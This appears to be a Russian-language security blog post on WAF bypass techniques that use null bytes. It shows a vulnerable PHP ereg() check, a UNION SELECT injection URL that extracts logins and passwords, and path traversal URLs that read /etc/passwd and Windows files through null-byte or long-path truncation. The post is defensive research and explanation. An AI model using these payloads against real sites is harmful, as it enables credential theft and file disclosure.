SQL Injection & null-byte

На прошлой неделе исследовал программный WAF (web application firewall). И в процессе поиска путей обхода фильтров наткнулся на интересный способ эксплуатации уязвимости SQL Injection с использованием null-byte. Суть его заключается в следующем. Предположим, что у нас имеется следующий php-код:

1. ...
2. if (ereg ("^(.){1,3}$", $_GET['id'], $regs)) {
3. mysql_query("SELECT id,email FROM members where id=".$_GET['id']);
4. ...


Тогда, с использованием null-byte возможно осуществить внедрение операторов SQL. Под mysql запрос для проведения атаки будет выглядеть примерно так:

http://target/?id=1/*%00*/union+select+id,concat_ws(0x3a,login,password)+from+users

Подобная атака становиться возможной по причине имеющихся недостатков в функциях ereg(), eregi() и др.

К слову, про использование null-byte. Пару месяцев назад Raz0r опубликовал материалы исследования по теме замены null-byte при эксплуатации уязвимостей path traversal на web-сервере использующем php. Данный вектор станет полезным, например, в случаях, когда включен magic_quotes или используется некоторая фильтрация входящих параметров.

Если кратко, то для пхп текущей версии и ниже, следующие конструкции являются равнозначными:
- для win

http://target/?file=non/../../../../Documents%20and%20Settings/Default%20User/Local%20Settings/desktop.ini%00

http://target/?file=non/../../../../Documents%20and%20Settings/Default%20User/Local%20Settings/desktop.ini...[1024]...

- для nix

http://target/?file=non/../../../../../etc/passwd%00

http://target/?file=non/../../../../../etc/passwd/././.[1024-4096]/././.

Ссылка на оригинальное исследование.

1 комментарий :